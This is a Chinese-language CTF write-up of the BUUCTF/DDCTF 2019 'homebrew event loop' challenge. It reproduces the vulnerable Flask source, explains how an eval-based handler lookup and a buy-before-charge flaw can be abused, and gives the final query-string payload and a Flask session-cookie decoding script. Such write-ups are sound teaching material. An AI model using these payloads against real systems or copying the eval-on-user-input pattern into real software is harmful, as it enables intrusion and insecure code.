vlambda博客
学习文章列表

BUUCTF--[DDCTF 2019]homebrew event loop解题步骤详解

查看源代码


 1 from flask import Flask, session, request, Response 2 import urllib 3  4 app = Flask(__name__) 5 app.secret_key = '*********************' # censored 6 url_prefix = '/d5afe1f66147e857' 7  8  9 def FLAG(): 10 return '*********************' # censored 11  12  13 def trigger_event(event): #trigger_event:标识触发事件,取值为 INSERT、UPDATE 或 DELETE; 14 session['log'].append(event) 15 if len(session['log']) > 5: 16 session['log'] = session['log'][-5:] 17 if type(event) == type([]): 18 request.event_queue += event 19 else: 20 request.event_queue.append(event) 21  22  23 def get_mid_str(haystack, prefix, postfix=None): 24 haystack = haystack[haystack.find(prefix)+len(prefix):] 25 if postfix is not None: 26 haystack = haystack[:haystack.find(postfix)] 27 return haystack 28  29  30 class RollBackException: 31 pass 32  33  34 def execute_event_loop(): 35 valid_event_chars = set( 36 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#') 37 resp = None 38 while len(request.event_queue) > 0: 39 # `event` is something like "action:ACTION;ARGS0#ARGS1#ARGS2......" 40 event = request.event_queue[0] 41 request.event_queue = request.event_queue[1:] 42 if not event.startswith(('action:', 'func:')): 43 continue 44 for c in event: 45 if c not in valid_event_chars: 46 break 47 else: 48 is_action = event[0] == 'a' 49 action = get_mid_str(event, ':', ';') 50 args = get_mid_str(event, action+';').split('#') 51 try: 52 event_handler = eval( 53 action + ('_handler' if is_action else '_function')) 54 ret_val = event_handler(args) 55 except RollBackException: 56 if resp is None: 57 resp = '' 58 resp += 'ERROR! All transactions have been cancelled. <br />' 59 resp += '<a href="./?action:view;index">Go back to index.html</a><br />' 60 session['num_items'] = request.prev_session['num_items'] 61 session['points'] = request.prev_session['points'] 62 break 63 except Exception, e: 64 if resp is None: 65 resp = '' 66 # resp += str(e) # only for debugging 67 continue 68 if ret_val is not None: 69 if resp is None: 70 resp = ret_val 71 else: 72 resp += ret_val 73 if resp is None or resp == '': 74 resp = ('404 NOT FOUND', 404) 75 session.modified = True 76 return resp 77  78  79 @app.route(url_prefix+'/') 80 def entry_point(): 81 querystring = urllib.unquote(request.query_string) 82 request.event_queue = [] 83 if querystring == '' or (not querystring.startswith('action:')) or len(querystring) > 100: 84 querystring = 'action:index;False#False' 85 if 'num_items' not in session: 86 session['num_items'] = 0 87 session['points'] = 3 88 session['log'] = [] 89 request.prev_session = dict(session) 90 trigger_event(querystring) 91 return execute_event_loop() 92  93 # handlers/functions below -------------------------------------- 94  95  96 def view_handler(args): 97 page = args[0] 98 html = '' 99 html += '[INFO] you have {} diamonds, {} points now.<br />'.format(100 session['num_items'], session['points'])101 if page == 'index':102 html += '<a href="./?action:index;True%23False">View source code</a><br />'103 html += '<a href="./?action:view;shop">Go to e-shop</a><br />'104 html += '<a href="./?action:view;reset">Reset</a><br />'105 elif page == 'shop':106 html += '<a href="./?action:buy;1">Buy a diamond (1 point)</a><br />'107 elif page == 'reset':108 del session['num_items']109 html += 'Session reset.<br />'110 html += '<a href="./?action:view;index">Go back to index.html</a><br />'111 return html112 113 114 def index_handler(args):115 bool_show_source = str(args[0])116 bool_download_source = str(args[1])117 if bool_show_source == 'True':118 119 source = open('eventLoop.py', 'r')120 html = ''121 if bool_download_source != 'True':122 html += '<a href="./?action:index;True%23True">Download this .py file</a><br />'123 html += '<a href="./?action:view;index">Go back to index.html</a><br />'124 125 for line in source:126 if bool_download_source != 'True':127 html += line.replace('&', '&amp;').replace('\t', '&nbsp;'*4).replace(128 ' ', '&nbsp;').replace('<', '&lt;').replace('>', '&gt;').replace('\n', '<br />')129 else:130 html += line131 source.close()132 133 if bool_download_source == 'True':134 headers = {}135 headers['Content-Type'] = 'text/plain'136 headers['Content-Disposition'] = 'attachment; filename=serve.py'137 return Response(html, headers=headers)138 else:139 return html140 else:141 trigger_event('action:view;index')142 143 144 def buy_handler(args):145 num_items = int(args[0])146 if num_items <= 0:147 return 'invalid number({}) of diamonds to buy<br />'.format(args[0])148 session['num_items'] += num_items149 trigger_event(['func:consume_point;{}'.format(150 num_items), 'action:view;index'])151 152 153 def consume_point_function(args):154 point_to_consume = int(args[0])155 if session['points'] < point_to_consume:156 raise RollBackException()157 session['points'] -= point_to_consume158 159 160 def show_flag_function(args):161 flag = args[0]162 # return flag # GOTCHA! We noticed that here is a backdoor planted by a hacker which will print the flag, so we disabled it.163 return 'You naughty boy! ;) <br />'164 165 166 def get_flag_handler(args):167 if session['num_items'] >= 5:168 # show_flag_function has been disabled, no worries169 trigger_event('func:show_flag;' + FLAG())170 trigger_event('action:view;index')171 172 173 if __name__ == '__main__':174 app.run(debug=False, host='0.0.0.0')

代码太多,我们直接先看应该怎么获取flag

166 def get_flag_handler(args):167 if session['num_items'] >= 5:168 # show_flag_function has been disabled, no worries169 trigger_event('func:show_flag;' + FLAG())170 trigger_event('action:view;index')

if session[‘num_items’] >= 5的话,flag就在session里面

153 def consume_point_function(args):154 point_to_consume = int(args[0])155 if session['points'] < point_to_consume:156 raise RollBackException()157 session['points'] -= point_to_consume

作用是判断session中的points是否小于我们想要购买的数量。如果小于,那么就减掉。我们购买5个flag。但是。只有3个金币。它会先购买5个。然后判断钱是不是够,不够就再减去。



然后再从路由来看

@app.route(url_prefix+'/')#使用 route() 装饰器告诉 Flask 什么样的URL 能触发我们的函数def entry_point():  querystring = urllib.unquote(request.query_string)  #urllib.unquote :urlencode逆向,就是把%40转化为@(字符串被当作url提交时会被自动进行url编码处理,在python里也有个urllib.urlencode的方法,可以很方便的把字典形式的参数进行url编码) #request.query_string:它得到的是,url中?后面所有的值,最为一个字符串,比如action:index;False#False request.event_queue = [] #定义一个数组 if querystring == '' or (not querystring.startswith('action:')) or len(querystring) > 100:  #如果这个url?后面的值为空 或者 这个url?后面的值不是以action开头 或者 这个url?后面的值长度大于100  querystring = 'action:index;False#False'  if 'num_items' not in session: #如果session里面还没有num_items这个key session['num_items'] = 0 #钻石数量 session['points'] = 3 #积分数量 session['log'] = []  request.prev_session = dict(session) #新建一个字典request.prev_session使其的值为字典session的值 trigger_event(querystring) #调用了trigger_event return execute_event_loop() #进入到execute_event_loop函数

这里调用了trigger_event函数

def trigger_event(event): session['log'].append(event)#将event添加到session['log']这个列表中 if len(session['log']) > 5: #如果列表session['log']中的元素数量大于等于5 session['log'] = session['log'][-5:]#session['log']取后五个元素 if type(event) == type([]): #如果event的类型是列表 request.event_queue += event #两个列表相加,在列表request.event_queue中添加一个元素 event else: request.event_queue.append(event) #在列表request.event_queue中添加一个元素 event

再跟进一下execute_event_loop函数

 else: is_action = event[0] == 'a' action = get_mid_str(event, ':', ';') args = get_mid_str(event, action+';').split('#')

action的话会直接返回第一个;之后的内容

参数这里用#做了一下分割,并返回一个列表到args里

event_handler = eval(action + ('_handler' if is_action else '_function')) ret_val = event_handler(args) 

这里有一个任意函数调用。action传入之后会有一个后缀拼接,但是可以直接用#绕过,因为是eval执行的,eval会把这个字符串当作python代码执行,所以后缀就绕过了。所以可以action,trigger_event#;来调用自己绕过后缀拼接。从而执行多个函数


发现存在逻辑漏洞:就是我们的钱无论够不够,它都会给我们先加上,然后扣掉

我们发现第148行,无论我们的钱够不够,都先给我们加上,之后再扣掉

若让eval()去执行trigger_event(),并且在后面跟两个命令作为参数,分别是buy和get_flag,那么buy和get_flag便先后进入队列。

根据顺序会先执行buy_handler(),此时consume_point进入队列,排在get_flag之后,我们的目标达成。


最终payload为:

?action:trigger_event%23;action:buy;5%23action:get_flag;

 使用bp抓包可以抓到session

BUUCTF--[DDCTF 2019]homebrew event loop解题步骤详解

 使用脚本解密

#!/usr/bin/env python3import sysimport zlibfrom base64 import b64decodefrom flask.sessions import session_json_serializerfrom itsdangerous import base64_decode def decryption(payload): payload, sig = payload.rsplit(b'.', 1) payload, timestamp = payload.rsplit(b'.', 1)  decompress = False if payload.startswith(b'.'): payload = payload[1:] decompress = True  try: payload = base64_decode(payload) except Exception as e: raise Exception('Could not base64 decode the payload because of ' 'an exception')  if decompress: try: payload = zlib.decompress(payload) except Exception as e: raise Exception('Could not zlib decompress the payload before ' 'decoding the payload')  return session_json_serializer.loads(payload) if __name__ == '__main__': print(decryption(sys.argv[1].encode()))

BUUCTF--[DDCTF 2019]homebrew event loop解题步骤详解

原文来自CSDN博主「Uzero.」|侵删


BUUCTF--[DDCTF 2019]homebrew event loop解题步骤详解

BUUCTF--[DDCTF 2019]homebrew event loop解题步骤详解


中电运行是专业专注培养能源企业IT工匠和提供IT整体解决方案的服务商,也是能源互联网安全专家。

为方便大家沟通,中电运行开通“中电运行交流群”,诚挚欢迎能源企业和相关人士,以及对网络安全感兴趣的群体加入本群,真诚交流,互相学习BUUCTF--[DDCTF 2019]homebrew event loop解题步骤详解BUUCTF--[DDCTF 2019]homebrew event loop解题步骤详解。想加入我们就给我们留言吧BUUCTF--[DDCTF 2019]homebrew event loop解题步骤详解

BUUCTF--[DDCTF 2019]homebrew event loop解题步骤详解